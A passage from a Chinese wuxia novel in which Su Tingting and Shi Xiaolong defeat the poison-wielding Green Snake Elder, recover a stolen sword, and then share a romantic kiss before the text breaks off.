语音一顿,又道:“若你这老乞婆,能说出孤芳客现在何处,老夫到可能网开一面,放你一条生路呢!”


苏婷婷知他是想找师父报仇,心中更加有气,冷笑一声,道:“凭你这副三分不像人,七分倒像鬼的长像,不但不配问你家姑奶奶的来历。更不配与天下第一剑客为敌。今日遇上你家姑奶奶,也是你阳寿该终之日,不过……”


她故意学他,微微一顿,继道:“若是你说明大殿上那匹死马的主人去处,或能放你一条生路……”


绿蛇叟闻言,直气得“啾啾”鬼叫不休,不待苏婷婷说完,厉啸一声,道:“该死的老乞婆,还不拿命过来!”


喝声中,也不见他恍肩迈腿,双臂前伸,两只遍长着绿毛的鬼手,屈指如钩,倏忽飘掠近前,猛向苏婷婷的面门双睛抓去!


小龙藏在一边,心中正暗自好笑:“婷婷姐姐几时也学会放刁的。”


猛见绿蛇叟疾逾电闪,欺近苏婷婷,顿时大吃一惊,一颗心立时提了起来!


其实,苏婷婷表面上虽然轻松,暗里却一直不曾松懈片刻。


这时,她瞥目绿蛇叟电疾攻来,霍地运起“天地罡气”,樱唇微张,疾即有一团淡淡的白雾散出,罩住了头脸。


她晓得绿蛇叟练就殭屍气功:奇毒无匹,故此不虑胜,先虑败,将天地罡气施展出来,护住七窍,以免毒气浸入。


但等绿蛇叟双爪距面门不及五寸,皓首微偏,右手剑隐於肘后,左手玉掌疾抬,指如戟,划向绿蛇叟右臂的“太阳小肠经”娠。


绿蛇叟苦心潜修,近半甲子,经验之丰,自可想见。


此际,他双掌一出,“殭屍毒气”,早巳发动,以他经验,五尺之内,嗅中者无不晕倒中毒,不过十二个时辰,便自毒攻心肺,致人於死。


熟料,苏婷婷不仅只略偏其首,稍做闪避,而毫无中毒现象,且还出招还攻,快捷无伦,指未划实,便已觉劲风袭体了。


绿蛇叟大吃一惊,不敢待慢,“啾”声厉吼,身躯未落实地,陡然间横移三尺,让过苏婷婷一指……苏婷婷并未追出,身形半转,与他正面相对,右手一抬,掌中剑银光霍闪。


绿蛇叟见多经广,早晓得她这柄宝剑,不是凡器,自己虽然一身横练殭屍硬功,不畏刀枪,却还是怕有点挡不住它。


本能的双爪一错,霍然后掠三尺。


那知身未着地,已闻得苏婷婷脆笑出声,道:“喂,老鬼伯什么啊?对付你还用得看剑吗?”


绿蛇叟闪目一瞥,果见苏婷婷己然将宝剑收入袖底。


这一来,他不由羞恼交集,暗骂一声:“老乞婆,这真是你命应如此,现放着宝刃不用,卖弄清高,等一会不要你狗命算我绿蛇叟的功夫,是白练了!”


猛一运气,殭屍功倒转三车,也不答话,双目直钩钩注视在苏婷婷脸上,全身不动,一蹦一蹦的,活像是殭屍重生般,向苏婷婷面前跳去。


苏婷婷见状,知他在施展拿手的殭屍功,心中一动,霍然腑叱道:“打”。


掌随声出,身随掌动,恍眼间,掌影千重,如波似浪,自四面八方,向绿蛇叟攻去。


小龙在旁,见婷婷姐姐施展出“孤独掌法”,数月不见,功力似较前又有长进,顿时宽心不少。


他素知这孤独掌法,却是威力无穷,江湖中却少有人能接得下的,既使能够接下,不为所伤。


十二掌一气串贯,周而复始,只要是真气不泄,便可再返复使用十二或廿四掌,甚至无穷的巡回下去!


绿蛇叟起始不知利害,一见苏婷婷双掌攻来,双爪如封似闭,翻腕便想擒拿住对方的双腕赈门。


熟料,苏婷婷第一式“天覆地载”,乃是虚招,未等用实,身形飘忽,移近绿蛇叟右方,右臂一抖,拢指如啄,向他的右胁下肋骨啄去。


绿蛇叟双臂伸出,未没收间,胁下劲风已至,心中暗凛:“老乞婆好快的身手。”


双足一蹦,左移三尺,将这招让了过去。


那知苏婷婷这招还是虚着,右臂未尽,左手指影如山,眨眼间,疾捷的袭向绿蛇叟背上数处大穴。


绿蛇叟尚未站稳,猛觉背后指风压穴,微泛酸麻,顿时大吃一惊,猛提真气,倏然向前扑去。


苏婷婷见状,娇笑“咯咯”,笑声中人如青鹤盘空,一跃而起,一双蛮靴尖,直蹴向绿蛇叟后脑“对”,“殷天”要穴。


身躯在空中纤腰突折,左掌后隐,右掌疾出:“天雷击顶”,猛的向绿蛇叟身前二尺处空挡拍去。


绿蛇叟听风辨位,晓得后脑两大穴又遭敌袭,正欲低头让开,那知绿目一转,对方这一掌竟施得妙不可言,正封死了这一步路。


心中顿时又是一惊,危急中,厉吼一声,泄去殭屍气功,双膝一屈,霍然矮下半尺,双掌一抬,“乱推彩云”,猛的打出两圈惊风,向苏婷婷小腹击去。


这一着确够辛辣,换了别人,难以在空中变式,必定会伤在他的掌下。


但苏婷婷胸有成竹,丝毫不惧,未等他双掌推抬,娇躯在空中霍然打一个滚,滚前五尺,娇躯复展,不但将此招让於无形之中,更还捷如迅雷般,双臂向绿蛇叟下盘双腿打去。


绿蛇叟心中可大为懊恼,钢牙乱咬,猛然后撤五尺,但苏婷婷这时展开身争,如行云流水般,疾捷而自然的如影附形,跟踪而上。


玉掌起处,“手挥五弦”,不容绿蛇叟喘一气,指尖已拂向绿蛇叟胸前“七坎”,“期门”两处大穴。


小龙藏在一旁,观战多时,他瞥见婷婷姐姐佔尽上风,姿态曼妙,心中既高兴,又兴奋,不知不觉的站起身来。


此际,他眼看绿蛇叟狼狈之态,堪堪便要伤在苏婷婷指下,心中一乐,顿时鼓掌喝彩起来!


绿蛇叟被迫得,已然是强弓之末,眼看不保,正在焦急万分!


苏婷婷未想到此处尚藏有人,闻声未及细辨,神思一顿,手下不由慢了半分。


绿蛇叟功力致高,那肯放过这分寸之机,猛的一叱,错腰拧身,硬提最后一剩余真气,横移三尺,中却也乘机喝道:“且慢。”


苏婷婷在小龙初显身时,眼角微微,已看清来者是谁。


故此芳心中喜欢得砰砰乱跳,即便是绿蛇叟不叫停,她也不会继续打了。


小龙瞥见苏婷婷住手不打,生怕她误会未释,又要遁走。


疾捷一掠,扑上前去,叫道:“婷婷姐姐你不要误会我啊!我……”


语声未完,人已飘近了苏婷婷身边!双目一触到苏婷婷那一双澄蓝凤目,回头凝睇,目光中充满了欣喜与柔情,心头一宽,不由改道:“婷婷姐姐,你已原谅了我吗?……”


苏婷婷见他似孩子气的话,芳心中又是好笑,又是甜蜜。


她那颗白发苍苍的螓首,微微一点,嫣然而笑,方待回答。


小龙在空中陡然大喝一声:“鼠贼尔敢”。


右手一挥,撒出一道金光,向苏婷婷身前卷去!


苏婷婷在同一时间内,亦觉劲风袭体而至,未暇辨别,来自何地,身形一动,本能的后掠去!


半空中回头一瞧,巧好瞥见,小龙手中的那道金光,缠住了绿蛇叟手中的一条绿蛇!


女孩儿家那能不怕这种东西,苏婷婷虽然是胆勇过人,却也吓得她惊叫出声。


小龙神目若电,半空中窥见绿蛇叟,目光闪烁,已知他暗怀鬼计。


及见他震袖一挥,自袖中电般射出条绿蛇,暴袭苏婷婷之际,顿时大怒,挥手撒出蛟尾鞭,一下便将那条绿蛇缠了个结实-绿蛇叟见状,大吃一惊,心知是弄巧成拙,这又不忍舍弃这赖以成名,训练调教了四十余年的铁线毒蛇。


这毒蛇不仅周身蕴蓄奇毒,且还坚似金铁,除非是那七寸子要害,循常刀剑,决对弄不伤它。


在他想来,无论小龙的功力是否在他之上,但因身未落地,必然要打折扣。


这一带,就是不足把小龙抛飞出去,最起码也可将他的兵刃或毒蛇抢了过来。


那知小龙功力之高,出人意料,尤其所执蛟尾鞭,正是蛇类的天然剋星。


他一觉对方加力拉拽,真气下注,身形如飞坠落地上。


在他这时?尚未存有杀心,他一向仁慈,主张尊重别人的权益。


故此,他虽知眼前这人,多半是先前暗算他的,却仍存善言开导,和平解决争端之心。


所以他虽然落在地上,手上可并未功力,准备让他毒蛇收回。


那知,苏婷婷在他身后,倏地传来一声惊呼。


小龙心头一震,以为她也像自己方纔那样,受了暗算,未及回头细察,心头勃然大怒,忖道:“这人真不讲理,为何鬼计这多,专门与人作对呢?哇塞!既或你有难言之隐,不愿别人踏入这块废园,也该事先在外明示啊!”


想着,手腕早已渐渐加重了力气。


他两人相距六尺,运力各拉住一端,不动不摇,活像是举行拔河比赛!


小龙飘然而立,且不使用猛劲,双目炯炯如电,注视着绿蛇叟,宛似毫不在意!


但绿蛇叟却是青筋暴气,切齿咬牙的运出十成劲力。


双目充满毒恨怒火,看样子恨不得要将小龙生吃活剥了一般!


苏婷婷站得远远的,观看他两较劲,见小龙不急不徐的和他磨菇,便道:“喂,老头儿那蛇怪怕人的,快弄死算啦!”


小龙心头一甜,顿时宽心大放,顿时答应声:“好!”


手腕一震,只听得“彭”的一声,蛇头自七寸处,一断为二。


绿蛇叟运力后拉正急,这一拉断,立时“登,登,登”连退三步,方才站稳!


不过绿蛇叟却也气红了眼睛,“啾”声厉叫,将死蛇猛的一摔,在怀内掏出一柄尺长短剑,“呛琅”一响,抽剑出鞘,荒园中立时多出来一道闪闪红霞!


苏婷婷一见那剑,剑芒伸缩不定,顿时“咦”道:“这不是你的丹血剑吗?”


小龙见宝剑落在绿蛇叟手中,心中更气,闻言且不答话,骤然掠身进扑,道:“还我剑来!”


四字出,人尚未达,绿蛇叟右腕一震,剑芒霍吐半尺,向小龙刺去,同时也接说:“还你!”


小龙见状,霜眉微皱,双臂隔空齐扬,虚空一抓,说道:“拿来!”


指上丹铁神功发动,暴射出十股真气,分别扣捉住剑身剑鞘,猛的一收。


绿蛇叟起始见小龙双手作势抓剑,心中冷笑一声,暗忖:“这老不死的真不知天高地厚,这等锋利的宝刃,岂是能抓得的。”


故此不避不让,反往小龙手中加疾推出。


熟料相距尚有一尺,不但剑身,连左手中的剑鞘,也似被无形之物抓着,猛的向外挣去。


绿蛇叟大吃一惊,但还未容转念,剑身剑鞘,已然被挣脱掌握,落在了来人手中。


绿蛇叟骇极不怔,忘却走避,吃小龙飞起一脚,踢中左跨,顿时被踢得啾然大叫,向三丈之外的萎草中飞去!


绿蛇叟一落地上,强忍痛楚,爬起身来,略一定神心知眼前这两人,一个比一个功夫高强,自己空练了三十年,却还和人家走不出十招去,不由得又是灰心,又是恼恨。


不过他素性狡猾毒辣,眸珠一转,鬼声叫道:“老儿一脚之赐,绿蛇叟谨铭心肺,不知两位如何称呼,若肯见告,以后必定加倍报还!”


小龙闻言,暗歎一声,心知这场仇恨是结定了,只是大丈夫立身处地,敢为敢当,既然种因,便得使他结果。只要屈不在己!怕他何来,因道:“区区石小龙,虽有冒犯之处,但若阁下反躬自省…必不致厚责区区……”


绿蛇叟不耐烦听他唠叨,转头瞅着苏婷婷,尖声鬼叫道:“老乞婆,你呢!”


苏婷婷见他不可理喻,出言粗鄙,怒叱道:“老妖物神气什么,我石苏婷行道江湖,专门剷除你这等蠢蠢妖物,你不服气,再比划比划!”


绿蛇叟阴侧侧冷笑一声,道:“老乞婆休要得意,终有一天,叫你知道我绿蛇叟的厉害。”


说罢,也不等俩人答话,转身疾掠,向山顶拔去。


苏婷婷气他不过,晃身欲追。


小龙忙劝阻道:“婷婷姐姐,算了吧!得饶人处且饶人,何必与他一般见识呢?”


苏婷婷闻言,顿住身形,心中却不肯苟同的想道:“唉,他这付软心肠虽然可贵,却不宜对付恶人呀!”


不过她并未表示出来,默默的低头站在那里,并不言语!


小龙本来已满心欢喜,尤其是当她也自称姓石之时,他暗自得意!


“婷婷姐姐也愿意跟我姓石呀!”


但这时见状,却不知苏婷婷正为此事害羞,即疑惑了起来!


他缓缓渡到苏婷婷身畔,沉声说道:“婷婷姐姐,你还怪我吗?”


苏婷婷缓缓的抬起头来,明媚的目光,流注在他的脸上,那其中柔情万缕,还加杂着一丝娇羞之意。


四目一触,小龙心中瞭然,大大的喘了气,拉起苏婷婷的素手,癡癡的间望着她。


於是,两人的感情,在这一瞬间拥抱一起,不须要再使用任何言语,他俩人便能深切的瞭解,欲求得此生的和乐,便必须与对方依附一起了!


三十四小龙凝视着那张令他心颤而且略带孺慕的脸庞,看得那么真挚,那么火辣。


苏婷婷像受惊的小冤,卷伏在小龙结实实的胸膛,两人胸贴着胸,随着并不均匀的呼吸,微显急促的起伏着。


长长的睫毛,微微眨抖着,红润的小唇微微张着,吐着如兰的气息……。


一切是那么撩人,那么令小龙忍不住俯下脸庞,爱怜温柔的堵住苏婷婷的玉唇。


苏婷婷没有挣扎,任由小龙蜜吻,而且,还轻轻的送出莲舌,轻巧的卷住小龙的舌尖……。


两人如癡如醉的吻着。


几乎要窒息过去,小龙才抬起头,望着似是闭着双眸,但吹弹得破的粉颊,已泛上一片春桃的苏婷婷,轻轻唤了一声:“婷婷姐姐……”


“龙弟弟,你为什么要说话?不是很美吗?”


苏婷婷不待小龙说完,两支粉臂又围住小龙的颈项,玉层轻触吻着小龙的鼻子、下颔、眼眸,微喘着,妮声说着。


“婷婷姐姐!”


小龙扳住苏婷婷的粉臂,强吸了一气,微喘着声音,说道:“我不能……”


“我说过不要开。”